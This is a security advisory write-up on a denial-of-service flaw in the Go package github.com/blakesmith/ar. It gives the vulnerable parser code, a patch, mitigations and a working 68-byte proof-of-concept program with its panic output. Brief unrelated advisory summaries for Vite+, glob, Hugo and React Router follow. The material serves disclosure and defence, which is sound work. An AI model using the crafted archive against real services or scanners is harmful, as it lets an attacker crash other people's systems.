Dec 1, 2026·11 min read·2 visits
The Go package github.com/blakesmith/ar allows negative integer values in the size field of Unix ar archive headers. Reading the member payload with a negative size causes a slice bounds out-of-range runtime panic, resulting in an immediate denial of service for applications parsing untrusted .ar or .deb files.
A denial-of-service vulnerability exists in the Go library github.com/blakesmith/ar across all released versions. The archive header parser fails to validate that the 10-byte decimal size field of an archive member is non-negative. When an application processes a crafted Unix ar archive (such as a .deb package or .rlib archive) containing a negative member size, a subsequent read operation attempts to reslice an internal byte buffer using the negative integer as the upper bound. This triggers an unhandled Go runtime slice bounds out-of-range panic, terminating the calling process.
The Go package github.com/blakesmith/ar provides read and write implementations for the standard Unix ar archive format. The ar archive format is a foundational container specification used across Unix and Linux ecosystems. It serves as the outer container format for Debian software packages (.deb), static object libraries (.a), and Rust compiler library archives (.rlib). Over 149 public Go modules on pkg.go.dev import github.com/blakesmith/ar to inspect package metadata, extract system payloads, or conduct software composition analysis (SCA) and vulnerability scanning.
Each member within a Unix ar archive is preceded by a fixed-width 60-byte ASCII header record. This header defines six metadata attributes: the file identifier (16 bytes), modification timestamp (12 bytes), owner user ID (6 bytes), group ID (6 bytes), file permissions mode (8 bytes), and the member payload size in bytes (10 bytes), concluded by a 2-byte magic trailer (0x60 0x0A). Because the metadata fields are encoded as space-padded ASCII text rather than unsigned binary integers, parsers must convert these byte slices into native numeric types and enforce domain constraints during deserialization.
In github.com/blakesmith/ar (tracked as GHSA-8r27-mm5g-38ww and GO-2026-6905), the header parsing implementation fails to enforce non-negative bounds when decoding the 10-byte member size field. The parser relies on Go's strconv.ParseInt function to convert the ASCII field into a signed 64-bit integer (int64) without rejecting leading minus signs (-) or checking if the resulting value is less than zero.
When a downstream application iterates over an untrusted archive using Reader.Next() and attempts to consume the member data via Reader.Read(), the negative size value is used directly as the upper index in a slice expression (b[0:rd.nb]). Because the Go runtime strictly prohibits negative slice indices, this operation triggers an immediate runtime panic (runtime error: slice bounds out of range). In multi-tenant services, artifact repositories, or automated security scanners that ingest external archives without explicit panic recovery, a single malformed 68-byte payload terminates the entire application process (CWE-129).
The root cause of GHSA-8r27-mm5g-38ww resides in reader.go, spanned across three interacting methods on the ar.Reader struct: numeric(), readHeader(), and Read(). The defect chain begins with how ASCII numeric fields are parsed from the 60-byte header buffer.
First, the helper method Reader.numeric(b []byte) int64 trims trailing ASCII space characters (0x20) from the input byte slice and passes the resulting string to strconv.ParseInt(string(b[0:i+1]), 10, 64). Because strconv.ParseInt parses signed integers, any ASCII sequence beginning with 0x2D (-) followed by valid base-10 digits is converted into a negative int64. Furthermore, numeric() assigns the error return value of strconv.ParseInt to the blank identifier (_), silently discarding any syntax or overflow errors.
Second, Reader.readHeader() invokes rd.numeric(s.next(10)) to populate header.Size. It immediately assigns this value to rd.nb (rd.nb = int64(header.Size)), which tracks the number of unread bytes remaining in the current archive member. The function performs a modulo check (header.Size%2 == 1) to determine 2-byte alignment padding (rd.pad), which in Go evaluates to 0 or -1 for negative numbers—meaning rd.pad is set to 0—and then returns the constructed *Header to the caller of Reader.Next() with a nil error.
Third, the panic is triggered when the caller invokes Reader.Read(b []byte) to extract the member contents. The Read() method checks if the remaining byte count rd.nb is zero (if rd.nb == 0), which evaluates to false when rd.nb is negative. Next, it checks whether the caller-supplied buffer b is larger than the remaining bytes to avoid reading past the member boundary: if int64(len(b)) > rd.nb. Because len(b) is guaranteed to be non-negative (typically 32768 bytes when called via io.Copy), it is always strictly greater than a negative rd.nb. Consequently, the condition evaluates to true, and the execution path enters the block b = b[0:rd.nb], passing a negative integer as the high bound of the slice operation and crashing the Go runtime.
An inspection of reader.go in github.com/blakesmith/ar (at commit 809d4375e1fb, the latest available revision) illustrates the absence of error propagation and bounds checking across the header parsing and data reading routines.
// Vulnerable implementation in github.com/blakesmith/ar/reader.go
func (rd *Reader) numeric(b []byte) int64 {
i := len(b) - 1
for i > 0 && b[i] == 32 {
i--
}
// BUG 1: strconv.ParseInt accepts negative numbers ('-').
// BUG 2: Parsing errors are ignored via the blank identifier '_'.
n, _ := strconv.ParseInt(string(b[0:i+1]), 10, 64)
return n
}
func (rd *Reader) readHeader() (*Header, error) {
headerBuf := make([]byte, HEADER_BYTE_SIZE)
if _, err := io.ReadFull(rd.r, headerBuf); err != nil {
return nil, err
}
header := new(Header)
s := slicer(headerBuf)
header.Name = rd.string(s.next(16))
header.ModTime = time.Unix(rd.numeric(s.next(12)), 0)
header.Uid = int(rd.numeric(s.next(6)))
header.Gid = int(rd.numeric(s.next(6)))
header.Mode = rd.octal(s.next(8))
// BUG 3: No validation that header.Size >= 0.
header.Size = rd.numeric(s.next(10))
rd.nb = int64(header.Size)
if header.Size%2 == 1 {
rd.pad = 1
} else {
rd.pad = 0
}
return header, nil
}
func (rd *Reader) Read(b []byte) (n int, err error) {
if rd.nb == 0 {
return 0, io.EOF
}
// BUG 4: If rd.nb < 0, int64(len(b)) > rd.nb is always true.
// Reslicing b[0:rd.nb] with a negative index panics immediately.
if int64(len(b)) > rd.nb {
b = b[0:rd.nb]
}
n, err = rd.r.Read(b)
rd.nb -= int64(n)
return
}To remediate this flaw, the parser must propagate conversion errors from strconv.ParseInt (or use strconv.ParseUint for strictly unsigned fields) and explicitly verify that header.Size is non-negative before assigning it to rd.nb. Because github.com/blakesmith/ar has not been maintained upstream since 2021, downstream projects that vendor or fork the code (such as google/osv-scanner in issue #3202) must apply the following defensive patch directly:
--- a/reader.go
+++ b/reader.go
@@ -3,21 +3,24 @@ package ar
import (
+ "errors"
+ "fmt"
"io"
"io/ioutil"
"os"
"strconv"
"time"
)
+var ErrInvalidHeader = errors.New("ar: invalid header")
+var ErrNegativeSize = errors.New("ar: member size cannot be negative")
+
-func (rd *Reader) numeric(b []byte) int64 {
+func (rd *Reader) numeric(b []byte) (int64, error) {
i := len(b) - 1
for i > 0 && b[i] == 32 {
i--
}
- n, _ := strconv.ParseInt(string(b[0:i+1]), 10, 64)
-
- return n
+ return strconv.ParseInt(string(b[0:i+1]), 10, 64)
}
func (rd *Reader) readHeader() (*Header, error) {
@@ -32,12 +35,19 @@ func (rd *Reader) readHeader() (*Header, error) {
header.ModTime = time.Unix(rd.numeric(s.next(12)), 0)
header.Uid = int(rd.numeric(s.next(6)))
header.Gid = int(rd.numeric(s.next(6)))
header.Mode = rd.octal(s.next(8))
- header.Size = rd.numeric(s.next(10))
+
+ // Validate member size parse result and enforce non-negative bounds
+ size, err := rd.numeric(s.next(10))
+ if err != nil {
+ return nil, fmt.Errorf("%w: %v", ErrInvalidHeader, err)
+ }
+ if size < 0 {
+ return nil, ErrNegativeSize
+ }
+ header.Size = size
rd.nb = int64(header.Size)> [!NOTE]
> When evaluating fix completeness across reader.go, another closely related method is Reader.skip(amt int64) error, which is invoked at the start of Reader.Next() to advance past unread bytes from the previous entry (rd.skip(rd.nb + rd.pad)). If an application only inspects headers via Reader.Next() without calling Reader.Read(), a negative rd.nb is passed to io.CopyN(ioutil.Discard, rd.r, amt). In the Go standard library, io.CopyN uses io.LimitReader(src, n), which immediately returns 0, io.EOF when n <= 0 rather than panicking. However, skipping negative bytes corrupts stream alignment for subsequent headers. Rejecting negative sizes inside readHeader() completely eliminates both the Read() slice panic and the skip() stream desynchronization.
Exploiting GHSA-8r27-mm5g-38ww requires no authentication or complex state manipulation. The sole prerequisite is that the target application accepts an untrusted file (such as a .deb package, .a static library, or .ar archive), initializes an ar.NewReader(), advances to a member record with Reader.Next(), and invokes Reader.Read() (either directly or through standard library helpers such as io.Copy, io.ReadAll, or bufio.Scanner).
To construct a triggering payload, an attacker prepends the 8-byte global ar archive signature (!<arch>\n) to a 60-byte member header whose 10-byte size field (located at header byte offset 48..57, or absolute file offset 56..65) contains an ASCII negative integer padded with spaces on the right (for example, "-1000000 "). The minimum payload size required to trigger the crash is exactly 68 bytes (8-byte magic header plus 60-byte member header); no actual member body bytes need to be included in the file.
package main
import (
"bytes"
"fmt"
"io"
"github.com/blakesmith/ar"
)
func main() {
// Construct a 60-byte ar member header with a negative 10-byte size field (-1000000).
// Layout: 16B name | 12B date | 6B uid | 6B gid | 8B mode | 10B size | 2B magic (`\n)
h := fmt.Sprintf("%-16s%-12s%-6s%-6s%-8s%-10s`\n", "data.txt", "0", "0", "0", "644", "-1000000")
b := append([]byte("!<arch>\n"), []byte(h)...)
r := ar.NewReader(bytes.NewReader(b))
// Reader.Next() succeeds and returns hdr.Size == -1000000 with err == nil
hdr, err := r.Next()
if err != nil {
fmt.Printf("Next() failed unexpectedly: %v\n", err)
return
}
fmt.Printf("Next succeeded: Member Size = %d\n", hdr.Size)
// Reading the entry payload via io.Copy triggers the slice bounds panic
_, err = io.Copy(io.Discard, r)
if err != nil {
fmt.Printf("Read failed: %v\n", err)
}
}Executing the reproduction program above produces the following deterministic crash output:
Next succeeded: Member Size = -1000000
panic: runtime error: slice bounds out of range [:-1000000]
goroutine 1 [running]:
github.com/blakesmith/ar.(*Reader).Read(0xc00000e120, {0xc000062000, 0x8000, 0x8000})
/path/to/github.com/blakesmith/ar/reader.go:149 +0x...
io.copyBuffer({0x..., 0x...}, {0x..., 0x...}, {0x0, 0x0, 0x0})
io/io.go:428 +0x...
io.Copy(...)
io/io.go:387 +0x...
main.main()
main.go:27 +0x...Note that in the stack trace, io.copyBuffer allocates a default 32 KiB (0x8000 bytes) read buffer and passes it to (*Reader).Read. Inside Read, int64(len(b)) (32768) is compared against rd.nb (-1000000), and the subsequent slice operation b[0:-1000000] halts execution immediately.
The vulnerability has a CVSS v3.1 base score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. Because Go's runtime memory safety checks intercept the negative slice index prior to any underlying memory access, the flaw cannot be leveraged for out-of-bounds memory disclosure or arbitrary code execution. Consequently, Confidentiality and Integrity impacts are rated None (C:N/I:N), while Availability impact is High (A:H).
In Go applications, an unhandled runtime panic unwinds the call stack of the active goroutine and terminates the entire OS process (unless explicitly intercepted by a defer statement invoking recover()). Even in architectures like net/http where the standard HTTP server recovers from panics within individual request handler goroutines by default, background worker pools, message queue consumers, CLI scanners, or child goroutines spawned during request processing will crash the whole daemon upon encountering this panic.
The practical exposure across the Go ecosystem is concentrated in two primary application categories:
.deb packages to extract control metadata (control.tar.gz) or binary symbols (such as google/osv-scanner prior to its downstream fix). An attacker can embed a 68-byte malformed .ar or .deb file inside a container image or source repository to crash automated CI/CD security scanning pipelines.As of the publication of GHSA-8r27-mm5g-38ww and GO-2026-6905, github.com/blakesmith/ar remains unmaintained upstream (with no commits since 2019/2021) and has no official patched release. All existing versions of github.com/blakesmith/ar up to and including v0.0.0-20190502131153-809d4375e1fb are vulnerable.
> [!WARNING]
> Simply running go get -u github.com/blakesmith/ar will not resolve this vulnerability because no upstream fix exists. Engineering teams must either migrate away from the package, apply a local patch via Go module replacement, or implement defensive boundary checks.
Development teams depending on github.com/blakesmith/ar should apply one or more of the following remediation paths:
github.com/blakesmith/ar (or update the vendored source directory), modify readHeader() in reader.go to check if header.Size < 0 and verify strconv.ParseInt errors, and map the patched module in go.mod using a replace directive:
replace github.com/blakesmith/ar => github.com/your-org/ar v0.0.0-patchedHeader.Size in Caller Code: If modifying the library source is not immediately possible, inspect the *ar.Header returned by Reader.Next() before invoking Reader.Read() or io.Copy(). Reject any archive member where hdr.Size < 0:
hdr, err := r.Next()
if err != nil {
return err
}
if hdr.Size < 0 {
return fmt.Errorf("malformed ar archive: negative member size %d", hdr.Size)
}github.com/blakesmith/ar with an actively maintained ar or .deb reader implementation that performs strict header validation and enforces unsigned size parsing.defer block calling recover() to convert unexpected library panics into standard Go error values.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
github.com/blakesmith/ar blakesmith | <= 0.0.0-20190502131153-809d4375e1fb | None (Unmaintained) |
| Attribute | Detail |
|---|---|
| Advisory ID | GHSA-8r27-mm5g-38ww / GO-2026-6905 |
| Affected Package | github.com/blakesmith/ar (Go) |
| Weakness Type | CWE-129: Improper Validation of Array Index |
| CVSS v3.1 Score | 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Attack Vector | Network / Crafted Unix ar or .deb Archive |
| Impact | Denial of Service via Unhandled Go Runtime Panic |
| Exploit Status | Public Proof-of-Concept Available |
| Patch Status | Unpatched Upstream (Orphaned Package) |
The product uses untrusted input when calculating or using an array index, but the product does not validate or incorrectly validates the index to ensure the index references a valid position within the array.
Vite+ (vp) versions 0.2.9 through 1.5.0 contain an integrity verification flaw (CWE-494) in the internal package manager bootstrap mechanism. When initializing in an environment where the pinned pnpm distribution is not cached, the runtime queries the registry specified in the local workspace's .npmrc file and validates the downloaded tarball exclusively against the self-reported integrity digest provided by that same registry. An attacker who supplies a repository with a malicious .npmrc pointing to an attacker-controlled registry can achieve arbitrary code execution when a developer or CI runner invokes basic vp commands.
A local OS command injection and dynamic code evaluation vulnerability (CWE-78 / CWE-95) exists in the Vite+ global command-line interface (vp) across versions 0.3.3 through 1.5.0. When resolving package manager dist-tags such as 'latest' with the '--no-install' flag enabled, Vite+ queries the npm registry defined in the local workspace's '.npmrc' file and returns the raw version string without semantic version validation. Because this unvalidated string is interpolated directly into shell environment export statements evaluated by the user's shell wrapper, an attacker controlling the registry can inject shell metacharacters to achieve arbitrary command execution in the developer's local terminal context.
CVE-2026-137196 (also tracked as GHSA-qxr8-q827-836c) is an asymmetric resource consumption and denial-of-service vulnerability affecting the npm package glob (node-glob) in versions 13.0.5 through 14.0.5. When processing primary search patterns, node-glob relies on the minimatch engine with a default safeguard parameter (braceExpandMax: 10_000) to prevent combinatorial explosions during shell brace and directory traversal expansion. However, the Ignore class in src/ignore.ts instantiated its internal minimatch options with optimizationLevel: 2 while omitting the braceExpandMax configuration property. Consequently, applications that pass untrusted input into the ignore option allow attackers to trigger unbounded pattern expansion and quadratic O(n^2) preprocessing loops inside secondPhasePreProcess(), leading to single-threaded Node.js event-loop starvation.
Hugo versions prior to 0.170.0 contain a path traversal and improper symlink resolution vulnerability in the module resolution and vendoring subsystem. By supplying relative traversal sequences in `_vendor/modules.txt` or crafting symbolic links within vendored directory hierarchies, an untrusted third-party theme or Hugo module can bind its module root to an arbitrary directory on the build host. During site compilation, template functions such as `readFile` can access and render sensitive files from the host filesystem into the generated static output.
A stored Cross-Site Scripting (XSS) vulnerability in the Hugo static site generator (versions 0.140.2 prior to 0.170.0) allows content authors to inject arbitrary HTML and JavaScript into generated pages. The flaw resides in the syntax highlighting component (`markup/highlight/highlight.go`), where the `wrapperClass` option is concatenated directly into an HTML `<div class="...">` attribute without HTML entity escaping. Because shortcodes and code fence attributes bypass Goldmark's raw HTML sanitization rules, untrusted contributors in multi-author workflows can achieve client-side script execution in the browsers of site visitors.
CVE-2026-139994 (GHSA-mjj8-rxh9-q8f5) is a Cross-Site Scripting (XSS) vulnerability in React Router affecting versions 7.11.0 through 7.18.3 and 8.0.0 through 8.3.1. The flaw resides in the server-side streaming handler for the unstable React Server Components (RSC) Data mode and RSC Framework mode. When a server-side redirect is triggered during an HTML stream, the framework injects an inline <meta http-equiv="refresh"> element into the response stream. Because the redirect destination URL is sanitized using an HTML body escaping utility (escapeHtml) rather than an attribute-specific encoding function, double-quote characters (") are left unescaped. An attacker who can influence the redirect URL can break out of the content attribute context, inject arbitrary attributes or HTML elements, and execute arbitrary JavaScript within the victim's browser session.